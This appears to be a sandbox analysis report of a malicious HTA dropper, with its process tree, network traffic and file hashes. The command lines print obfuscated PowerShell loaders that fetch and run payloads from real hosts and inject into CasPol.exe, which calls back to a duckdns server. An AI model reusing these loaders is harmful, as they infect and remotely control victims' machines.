PID 1600 wrote to memory of 2436 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 1600 wrote to memory of 2436 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 2436 wrote to memory of 2204 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2436 wrote to memory of 2204 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2436 wrote to memory of 2204 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 1600 wrote to memory of 4440 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 1600 wrote to memory of 4440 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 1600 wrote to memory of 4440 N/A C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe C:\Windows\SysWOW64\WScript.exe
PID 4440 wrote to memory of 1056 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 1056 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4440 wrote to memory of 1056 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1056 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1056 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1056 wrote to memory of 1920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1920 wrote to memory of 4780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aea9253a5f1a4e0f59325f84c015b3980a1573e1873643fce09e084a76e0047b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe

"C:\Windows\sYStEm32\WInDowspOWersHeLL\v1.0\PoweRsHELl.Exe" "pOwerSHeLl.ExE -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT ; iex($(IEx('[sYSTEm.teXt.eNCoDING]'+[cHar]58+[ChaR]0X3a+'UTf8.getsTRiNg([sySTem.COnVERt]'+[CHaR]0X3a+[chAr]0X3A+'frombaSE64STrIng('+[chAR]0x22+'JFNyRkRDMnFKTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1iRXJkRWZJbmlUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1vbi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBob0xpVWhiSW9ELHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVXSyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGhzbyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3dUxwdSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNQUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNyRkRDMnFKTTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yOS82Ni9zZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1dmsudElGIiwiJEVuVjpBUFBEQVRBXHNlZW15YmVzdGdpcmx0aGlua2luZ3NoZWlzYWhvdGNoaWNrYnV0ZnUudmJTIiwwLDApO1N0YXJULXNMZUVwKDMpO3N0YXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3RnaXJsdGhpbmtpbmdzaGVpc2Fob3RjaGlja2J1dGZ1LnZiUyI='+[cHaR]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex BYPasS -NOp -w 1 -c dEVIcECreDentIAldEplOYmEnT

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lwdcmd4d\lwdcmd4d.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4C7.tmp" "c:\Users\Admin\AppData\Local\Temp\lwdcmd4d\CSC786D0E859D7C4969B4774114A389FBB0.TMP"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdMRVJpbWFnZScrJ1VybCA9ICcrJ0RqWmh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrJysnZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYnKycyYycrJzE3MzA5NDUxNzZhMDkwNGYgRGpaO0xFUndlYkNsJysnaScrJ2VudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7TEVSaW1hZ2VCeXRlcyAnKyc9IExFUndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoTEVSaW1hZ2UnKydVcmwpO0xFUmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKExFJysnUmltYWcnKydlQnl0JysnZXMpO0xFUnN0YXJ0RmxhZyA9IERqWjw8QkEnKydTRTY0X1NUQVJUPj5Ealo7TEVSZW5kRmxhZyA9IERqWjw8QkFTRTY0X0VORD4+RGpaO0xFUnN0YXJ0SW5kZXggPSBMRVJpbWFnZVRleHQuSW5kZXhPZihMRVJzdGFydEZsYWcpO0xFUmVuZEluZGV4ID0gTEVSaW1hZ2VUZXh0LkluZGV4T2YoTEVSZW5kRicrJ2xhZyk7TEVSc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIExFUmVuZEluZGV4IC1ndCBMRVJzdGFydEluZGV4O0xFUnN0YXJ0SW5kZXggKz0gTEVSc3RhcicrJ3RGbGFnLkxlbmd0aDtMRVJiYXNlNjRMZW5ndGggPSBMRVJlbmRJbmRleCAtIExFUnN0YXJ0SW5kZXg7TEVSYmFzZTY0Q29tbWFuZCA9JysnIExFUmltYWdlVGV4dC5TdWJzdHJpbmcoTEVSc3RhcnRJbmRleCwgTEVSYmEnKydzZTY0TGVuZ3RoKTtMRVJiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChMRVJiYXNlNjRDb20nKydtYW5kLlRvQ2hhckFycmF5KCkgaTFCIEZvckVhY2gtT2JqZWN0IHsgTEVSXyB9KVstMS4uLShMRVJiYXNlNjRDJysnb21tYW5kLkxlbmd0aCldO0wnKydFUmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoTEVSYmFzZTY0UmV2ZXJzZWQpO0xFUmxvYWRlZEFzcycrJ2VtYmx5ID0gW1N5c3RlbS5SZWYnKydsZWN0JysnaW8nKyduLkFzc2VtYmx5XTo6TCcrJ29hZChMRVJjb21tYW5kQicrJ3l0ZXMpO0xFUnZhaU1ldGhvZCAnKyc9IFtkbmxpYi5JTy4nKydIb21lXS5HZXRNZXRob2QoRGpaVkFJRGpaKTtMRVJ2YWlNZXRob2QuSW52b2tlKExFUm51bGwsIEAoRGpadHh0LlJSRlRSV1MvNjYvOTIuMDIyLjMuMjkxLy86cHR0aERqWiwgRGpaZGVzYXRpdmFkb0RqWiwgRGpaZGVzYXRpdicrJ2EnKydkJysnb0RqWiwgRGpaZGVzYScrJ3RpdmFkb0RqWiwgRGpaQ2FzUG9sRGpaLCBEalpkZXNhdGl2YWRvRGpaLCBEalpkZXNhdGl2YWRvRGpaLERqWmRlc2F0aXZhZG9EalosRGpaZGUnKydzYXRpdmFkb0RqWixEalpkZXNhdGl2YWRvJysnRCcrJ2paLERqWmRlc2F0aXZhZG9EalosRGpaZGVzYXRpdmFkJysnb0RqWixEaloxRGpaLERqWmRlc2F0aXYnKydhZG9EalopKTsnKS5yZVBMQWNFKChbY0hBUl02OCtbY0hBUl0xMDYrW2NIQVJdOTApLFtTdHJpbmddW2NIQVJdMzkpLnJlUExBY0UoKFtjSEFSXTc2K1tjSEFSXTY5K1tjSEFSXTgyKSxbU3RyaW5nXVtjSEFSXTM2KS5yZVBMQWNFKCdpMUInLCd8JykgfCAmICggJHNIRWxsaURbMV0rJHNIRWxMSURbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('LERimage'+'Url = '+'DjZhttps://1017.filemail.com/api/file/get?filek'+'ey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c6'+'2c'+'1730945176a0904f DjZ;LERwebCl'+'i'+'ent = New-Object System.Net.WebClient;LERimageBytes '+'= LERwebClient.DownloadDa'+'ta(LERimage'+'Url);LERimageText = [System.Text.Encoding]::UTF8.GetString(LE'+'Rimag'+'eByt'+'es);LERstartFlag = DjZ<<BA'+'SE64_START>>DjZ;LERendFlag = DjZ<<BASE64_END>>DjZ;LERstartIndex = LERimageText.IndexOf(LERstartFlag);LERendIndex = LERimageText.IndexOf(LERendF'+'lag);LERstartIndex -ge 0 -an'+'d LERendIndex -gt LERstartIndex;LERstartIndex += LERstar'+'tFlag.Length;LERbase64Length = LERendIndex - LERstartIndex;LERbase64Command ='+' LERimageText.Substring(LERstartIndex, LERba'+'se64Length);LERbase64Reversed = -join (LERbase64Com'+'mand.ToCharArray() i1B ForEach-Object { LER_ })[-1..-(LERbase64C'+'ommand.Length)];L'+'ERcommandBytes = [System.Convert]::FromBase64String(LERbase64Reversed);LERloadedAss'+'embly = [System.Ref'+'lect'+'io'+'n.Assembly]::L'+'oad(LERcommandB'+'ytes);LERvaiMethod '+'= [dnlib.IO.'+'Home].GetMethod(DjZVAIDjZ);LERvaiMethod.Invoke(LERnull, @(DjZtxt.RRFTRWS/66/92.022.3.291//:ptthDjZ, DjZdesativadoDjZ, DjZdesativ'+'a'+'d'+'oDjZ, DjZdesa'+'tivadoDjZ, DjZCasPolDjZ, DjZdesativadoDjZ, DjZdesativadoDjZ,DjZdesativadoDjZ,DjZde'+'sativadoDjZ,DjZdesativado'+'D'+'jZ,DjZdesativadoDjZ,DjZdesativad'+'oDjZ,DjZ1DjZ,DjZdesativ'+'adoDjZ));').rePLAcE(([cHAR]68+[cHAR]106+[cHAR]90),[String][cHAR]39).rePLAcE(([cHAR]76+[cHAR]69+[cHAR]82),[String][cHAR]36).rePLAcE('i1B','|') | & ( $sHElliD[1]+$sHElLID[13]+'x')"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 101.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 192.3.220.29:80 192.3.220.29 tcp
US 8.8.8.8:53 29.220.3.192.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 192.3.220.29:80 192.3.220.29 tcp
US 8.8.8.8:53 shlobo.duckdns.org udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 26.69.169.192.in-addr.arpa udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 182.129.81.91.in-addr.arpa udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 shlobo.duckdns.org udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 8.8.8.8:53 shlobo.duckdns.org udp
US 192.169.69.26:6946 shlobo.duckdns.org tcp
US 192.169.69.26:6946 shlobo.duckdns.org tcp

Files

memory/1600-0-0x0000000070E6E000-0x0000000070E6F000-memory.dmp

memory/1600-1-0x00000000023F0000-0x0000000002426000-memory.dmp

memory/1600-3-0x0000000070E60000-0x0000000071610000-memory.dmp

memory/1600-2-0x0000000005000000-0x0000000005628000-memory.dmp

memory/1600-4-0x0000000070E60000-0x0000000071610000-memory.dmp

memory/1600-5-0x0000000004F50000-0x0000000004F72000-memory.dmp

memory/1600-6-0x00000000056A0000-0x0000000005706000-memory.dmp

memory/1600-7-0x0000000005710000-0x0000000005776000-memory.dmp

memory/1600-13-0x0000000005780000-0x0000000005AD4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rrs3yxg4.ggp.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1600-18-0x0000000005D20000-0x0000000005D3E000-memory.dmp

memory/1600-19-0x0000000005D50000-0x0000000005D9C000-memory.dmp

memory/4144-29-0x0000000006D80000-0x0000000006DB2000-memory.dmp

memory/4144-30-0x000000006D720000-0x000000006D76C000-memory.dmp

memory/4144-40-0x0000000006DC0000-0x0000000006DDE000-memory.dmp

memory/4144-41-0x0000000007A60000-0x0000000007B03000-memory.dmp

memory/4144-42-0x0000000008190000-0x000000000880A000-memory.dmp

memory/4144-43-0x0000000007A30000-0x0000000007A4A000-memory.dmp

memory/4144-44-0x0000000007B50000-0x0000000007B5A000-memory.dmp

memory/4144-45-0x0000000007D80000-0x0000000007E16000-memory.dmp

memory/4144-46-0x0000000007CF0000-0x0000000007D01000-memory.dmp

memory/4144-47-0x0000000007D20000-0x0000000007D2E000-memory.dmp

memory/4144-48-0x0000000007D30000-0x0000000007D44000-memory.dmp

memory/4144-49-0x0000000007E40000-0x0000000007E5A000-memory.dmp

memory/4144-50-0x0000000007D70000-0x0000000007D78000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\lwdcmd4d\lwdcmd4d.cmdline

MD5 fb54978ab58b2ce7433d77c12922be0a
SHA1 d4508394bf8e16fc2ff601c8b9441c99de8c16c9
SHA256 de6174be81732adfb6a2a9622e614297f5f6a4bfb1f3ea0e446cacaade6c4097
SHA512 ab6a2dca70f0987bbe2dce94ce04da934bf4535775064fd8aecf36f36efcb7ce1d224779d47c3c94ccff8c5e53e77c523d99dbd146c31c23b3dab0884ef974c8

\??\c:\Users\Admin\AppData\Local\Temp\lwdcmd4d\lwdcmd4d.0.cs

MD5 70e878f483525e691692b50ba3aeadd0
SHA1 fa16b13bc12663af3d9a7e7dba4e027931cf9ccb
SHA256 3de2628d310015c0692133b3509877416f0c20159830c0d9ad45f10109f0bee8
SHA512 22cb839c634a7c5dc2c4b00c7c98aaa12bc4c3cc76a096e52004ede5b8f2b79e71670702f4a028b55bf2f411501dff4347cc1947fc345b32c8d957c2d9a31a05

\??\c:\Users\Admin\AppData\Local\Temp\lwdcmd4d\CSC786D0E859D7C4969B4774114A389FBB0.TMP

MD5 5546b6425434dd99c5cf20e78f40ad9f
SHA1 f09e0f09923cb187627aae6334733f2d8a5f3279
SHA256 68f648002a4b7f3b9d187b7ec15ead2cbe9f67f047e5b57a2943e6b30f012e92
SHA512 d487a7e08924fb0745340c6a270200a236f591a8f8990d5f7be0eaa0011124d4996bd350cd70e5f14d37b07d245cb7bc8d614b03bed20d71c971c21d797cf85d

C:\Users\Admin\AppData\Local\Temp\RESC4C7.tmp

MD5 3b9095c30ffeada29bf4b8d2d1f4c543
SHA1 ca0e04cb41384a2f55b3bbc47b5ff099d1dfb4e8
SHA256 a352edc63b5ba234b6e0159642341b0395046731dc8e48ae5826dec579d082df
SHA512 b59e42ee05fcbf18c1eb46c5055e64a437622b8373cee715169bdc9131fcd5048cb69d9b6d319a67a5c2fbbdaee7cda630e5ab93ff9630fcf151df9db0b153be

C:\Users\Admin\AppData\Local\Temp\lwdcmd4d\lwdcmd4d.dll

MD5 e6b10d526ff6b8e2a957ff0403a0005b
SHA1 5d7c68a02ea359653c7257700549950a85c03c72
SHA256 767220905220ec91aef3aa2a2efe37dbe2fbb54ad78b65b00936bd0dcaefa14e
SHA512 303859be68af2d020b763525de0247492faa055c2556bf444c1c3ec27a681109deb690c924d83fb216f309a65c83aacf3832f7e1a3cf42a4542b6a289b06b3bf

memory/1600-65-0x00000000062C0000-0x00000000062C8000-memory.dmp

memory/1600-71-0x0000000070E6E000-0x0000000070E6F000-memory.dmp

memory/1600-72-0x0000000070E60000-0x0000000071610000-memory.dmp

memory/1600-73-0x00000000070E0000-0x0000000007102000-memory.dmp

memory/1600-74-0x00000000081D0000-0x0000000008774000-memory.dmp

C:\Users\Admin\AppData\Roaming\seemybestgirlthinkingsheisahotchickbutfu.vbS

MD5 b93e8a9bf23aeb31964d63d631ccf365
SHA1 05b27d7f62b142a9d88c6ab89eb8ffc5f2299bd4
SHA256 75a49d9f596717af29acad09533ed873c76d71ef857aa340e47a5605b209e63f
SHA512 46e5f392f462c69158443e1c26361e950452744240638375af4e3926f0b57eb2d0f58fea63a42f998e7da1776ee49cc993d67cc32c2b2aa5244476bc95654062

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoweRsHELl.Exe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 04db3dc7bbffbe1e77ddbffde9a27472
SHA1 363e8670b511b9dff91aea41d9b19b84ca7cb700
SHA256 e1df95e1176d0d72f82e48db7b04387a27ce0b811ee1e546dc8715ff5f969595
SHA512 d3c4645a662ca13d00be58da01adb9ce93de2431430fc682869e42f3f39792989e1adcdac65db357c51f0dd4a4b3a510fb8cd34e1d1555fb677acce50e0f517d

memory/1600-81-0x0000000070E60000-0x0000000071610000-memory.dmp

memory/1056-91-0x00000000063F0000-0x0000000006744000-memory.dmp

memory/1920-102-0x00000000073A0000-0x00000000074F8000-memory.dmp

memory/1920-103-0x0000000007500000-0x000000000759C000-memory.dmp

memory/4780-104-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-106-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-107-0x0000000000400000-0x000000000047F000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5a9b2636a929f4410982e6666a3bc78a
SHA1 e0117e160eef67584af41dc6a97d37bca4b4a69e
SHA256 0e24bbd8a8be2a821b176b584df04ac02f09e98100c36365013b3c58296a7964
SHA512 cd5a7eef0857ee9f54794bbdfdb9cf3bf874dc88608a803222cfe4b9e9e7b0868ee7abd8a633f85fd720a34405268217ebd0ff4dbacb4b319cf03cf2d90a117c

memory/4780-110-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-111-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-112-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-113-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-114-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-115-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-116-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-117-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-118-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-119-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-120-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-121-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-122-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-123-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-124-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-125-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-126-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-127-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-128-0x0000000000400000-0x000000000047F000-memory.dmp

memory/4780-129-0x0000000000400000-0x000000000047F000-memory.dmp

